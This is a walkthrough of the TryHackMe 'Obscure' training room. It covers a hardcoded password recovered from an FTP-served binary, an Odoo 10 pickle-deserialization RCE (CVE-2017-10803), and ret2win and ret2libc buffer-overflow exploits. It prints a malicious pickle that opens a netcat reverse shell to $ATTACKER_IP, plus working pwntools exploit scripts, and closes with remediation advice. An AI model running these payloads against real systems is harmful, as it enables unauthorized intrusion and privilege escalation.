mintshell
VI

Obscure

A password-recovery binary on anonymous FTP hides a hardcoded credential that logs into Odoo 10, whose Database Anonymization module is exploited (CVE-2017-10803) for a pickle-deserialization shell in a container; a SUID ret2win binary gives container root and, reused against the same service on the Docker host, a user shell; and a sudo-NOPASSWD, NX+ASLR binary falls to a ret2libc for root.

Platform
TryHackMe
Room
Obscure(external link)
Difficulty
Medium
Vulnerabilities
security through obscurity, hardcoded credentials, insecure deserialization
8 min read

Obscure — A Hardcoded Binary Secret, an Odoo Pickle RCE, and Two Buffer Overflows to Root

A walkthrough of the “Obscure” room on TryHackMe. Anonymous FTP hands us a “password recovery” binary whose secret is baked into its own code; that password logs into Odoo 10, which falls to a pickle-deserialization RCE (CVE-2017-10803). From a container shell, a SUID ret2win binary — reused against the same service on the Docker host — gets us onto the host as a real user, and a sudo-NOPASSWD binary with NX and ASLR is finished with a ret2libc for root.

Obscure is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Flags, the recovered password, the password hash, and the SSH private key are redacted. Values shown as <redacted> or THM{<redacted>} are real on the box but withheld here.


TL;DR

TL;DR

Anonymous FTP serves a password binary → reversing it reveals a hardcoded response: the right employee id prints an Odoo admin password (security by obscurity) → that password + the leaked Odoo backup log in as admin@antisoft.thm to Odoo 10 → the Database Anonymization module deserializes an attacker pickle (CVE-2017-10803) → shell as odoo inside a container (flag 1) → a root-owned SUID ret2win binary /ret gives container-root, and the same service is listening on the Docker host at 172.17.0.1:4444, so the same overflow lands a shell as zeeshan on the host (user flag) → grab zeeshan’s SSH key → sudo -l allows (root) NOPASSWD: /exploit_me, an NX+ASLR binary beaten with a ret2libc → root.

The whole box is “obscure” on purpose — a secret in a binary, a service hidden one hop away, and two overflows that no amount of hiding protects.

The target

export IP=<target-ip>

Three ports — FTP (anonymous allowed), SSH, and an Odoo web app on Werkzeug/Python 2.7:

21/tcp open  ftp     vsftpd 3.0.3   (Anonymous FTP login allowed)
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu
80/tcp open  http    Werkzeug httpd 0.9.6 (Python 2.7.9)

Anonymous FTP exposes a pub/ directory with a tip-off note and a binary:

ftp -A $IP   # anonymous
# pub/notice.txt  -> "...we've made a temporary password application" (antisoft.thm)
# pub/password    -> ELF 64-bit executable

The vulnerability — the “password recovery” app carries the password

The password binary asks for an “employee id” and rejects guesses. Decompiling it (Ghidra) shows the check and the reward are both baked in: enter the hardcoded id and it prints a hardcoded password.

$ ./password
Please enter your employee id that is in your email
971234596
remember this next time '<redacted>'

Insight

This is the room’s name made literal: security through obscurity. A secret compiled into a client-side binary is not secret — anyone who can read the bytes (and FTP handed them out anonymously) can recover it with a decompiler. The same password then unlocks the next stage, so one reversed string collapses the “recovery app” into an admin login.

Step 1 — FTP to an Odoo admin login

The recovered password unlocks a database backup (also reachable through the app), and dump.sql from it names the Odoo administrator and stores a pbkdf2-sha512 hash:

grep antisoft.thm dump.sql
# admin@antisoft.thm ... $pbkdf2-sha512$12000$...$<redacted>

We don’t need to crack it — the hardcoded password is the admin password. Log into Odoo:

admin@antisoft.thm : <redacted>      # Odoo 10.0

Step 2 — Odoo Database Anonymization pickle RCE (CVE-2017-10803)

Odoo 10’s Database Anonymization module serialises the database with Python pickle and de-serialises it on “reverse anonymization.” pickle.loads on attacker data is code execution, so a crafted pickle runs a command of our choosing.

Insight

pickle is not a safe data format — a class with a __reduce__ method runs arbitrary code when unpickled. CVE-2017-10803 is exactly this: the admin-only “de-anonymize” step loads an uploaded pickle, so an authenticated admin (which we now are) gets code execution as the Odoo service user.

Build the malicious pickle (a __reduce__ that calls os.system with a reverse shell), install and run Database Anonymization, then upload the pickle and click Reverse the Database Anonymization:

import os, cPickle
class Exploit(object):
    def __reduce__(self):
        return (os.system, (("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f"),))
cPickle.dump(Exploit(), open("exploit.pickle","wb"), cPickle.HIGHEST_PROTOCOL)

The listener catches a shell as odoo — and /.dockerenv plus the hostname show we’re in a container. The first flag is here:

uid=105(odoo) ...  (hostname b8a9bbf1f380)
$ cat /var/lib/odoo/flag.txt
THM{<redacted>}

Step 3 — a SUID ret2win**, then the same bug on the Docker host**

Enumeration finds a root-owned SUID binary /ret that reads input with gets() — a textbook stack overflow. It also contains a win() function at 0x400646. A cyclic pattern puts the offset to the saved return address at 136 bytes; overwrite it with win() (plus a bare ret gadget at 0x4004d1 for 16-byte stack alignment):

# gen_payload.py
from pwn import p64
offset = 136
payload = b"A"*offset + p64(0x4004d1) + p64(0x400646)   # align + win()
open("payload.p","wb").write(payload)

Feeding it (keeping stdin open) runs win() as root — but only root inside the container, and /root/root.txt just says “you rooted a docker container.” The real target is one hop away: /etc/hosts and a static nmap reveal the Docker host at 172.17.0.1 listening on 4444, serving the same ret binary:

(cat /tmp/payload.p; cat) | nc 172.17.0.1 4444
# uid=1000(zeeshan) gid=1000(zeeshan) groups=1000(zeeshan),27(sudo)

That lands us on the host hydra as zeeshan. The user flag and an SSH private key are in the home directory:

$ cat user.txt
THM{<redacted>}
$ cat .ssh/id_rsa        # saved locally (key redacted)

Use the key for a stable SSH session:

chmod 600 id_rsa
ssh -i id_rsa zeeshan@$IP

Step 4 — a ret2libc on a sudo-NOPASSWD binary for root

zeeshan may run one thing as root without a password — another vulnerable binary:

User zeeshan may run the following commands on hydra:
    (root) NOPASSWD: /exploit_me

/exploit_me calls setuid(0) then gets() (overflow at offset 40), but with NX enabled and ASLR on there’s no win() and no executable stack. The answer is ret2libc: leak a libc address at runtime, resolve the base, then return into system("/bin/sh").

Insight

NX stops shellcode and ASLR randomises libc, so you can’t hardcode system. The two-stage ROP defeats both: first ROP pop rdi; ret → puts@GOT → puts@PLT → back to main to leak the real address of puts; subtract its libc offset to get the libc base; then a second payload returns to system with /bin/sh in rdi. Because the binary runs setuid(0) (via sudo), the resulting shell is root.

# ret2libc (pwntools, offset 40, libc 2.23)
from pwn import *
binary = context.binary = ELF("./exploit_me", checksec=False); rop = ROP(binary)
p = ssh(host="$IP", user="zeeshan", keyfile="id_rsa").process("/exploit_me")
pad = b"A"*40
p.recvline()
p.sendline(pad + p64(rop.find_gadget(["pop rdi","ret"])[0]) + p64(binary.got.puts) + p64(binary.plt.puts) + p64(binary.symbols.main))
leak = u64(p.recvline().strip().ljust(8,b"\0"))
libc = ELF("./libc-2.23.so", checksec=False); base = leak - libc.symbols["puts"]
p.sendline(pad + p64(rop.find_gadget(["pop rdi","ret"])[0]) + p64(base+next(libc.search(b"/bin/sh"))) + p64(base+libc.symbols["system"]))
p.interactive()
# id
uid=0(root) gid=1000(zeeshan) groups=1000(zeeshan),27(sudo)
# cat /root/root.txt
THM{<redacted>}

FTP → reversed secret → Odoo pickle RCE → container → ret2win → Docker host → zeeshan → ret2libc → root.

Impact

Critical

Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) for the Odoo RCE, with a chain that reaches host root:

  • Security through obscurity / hardcoded credential — a client-side binary on anonymous FTP leaks an admin password to anyone who reverses it.
  • Insecure deserialization (CVE-2017-10803) — Odoo’s pickle-backed anonymization executes arbitrary code for an authenticated admin.
  • Memory corruption — two unbounded gets() buffer overflows (a SUID ret2win and a sudo-NOPASSWD ret2libc) escalate to root in the container and on the host.

Fix

  1. Keep secrets out of client-side binaries, and lock down FTP. A compiled-in password is recoverable; disable anonymous FTP and never ship credentials in distributed files.
  2. Patch Odoo and never unpickle untrusted data. Upgrade past CVE-2017-10803; use a safe, schema-validated format instead of pickle for any attacker-reachable input.
  3. Rebuild the vulnerable binaries safely. Replace gets() with bounded input, compile with stack canaries, full RELRO, and PIE, and don’t expose them over the network or via sudo NOPASSWD.

Takeaways

  • Hiding is not protecting. A password inside a binary, a service bound to an internal interface — both are “obscure” and both fall to someone who simply looks.
  • pickle equals RCE. Any pickle.loads on data a user can influence is remote code execution; the CVE is just a brand name for that mistake.
  • The same bug travels. The container’s ret2win payload worked unchanged against the host’s copy on port 4444 — identical binary, identical offset.
  • NX + ASLR only raise the bar. A single leak via puts turns “no win()” into a full ret2libc; mitigations slow exploitation, they don’t replace fixing the overflow.

Thanks for reading. Obscure lives up to its name — a chain of things hidden rather than secured — and each layer falls to reading what was there all along.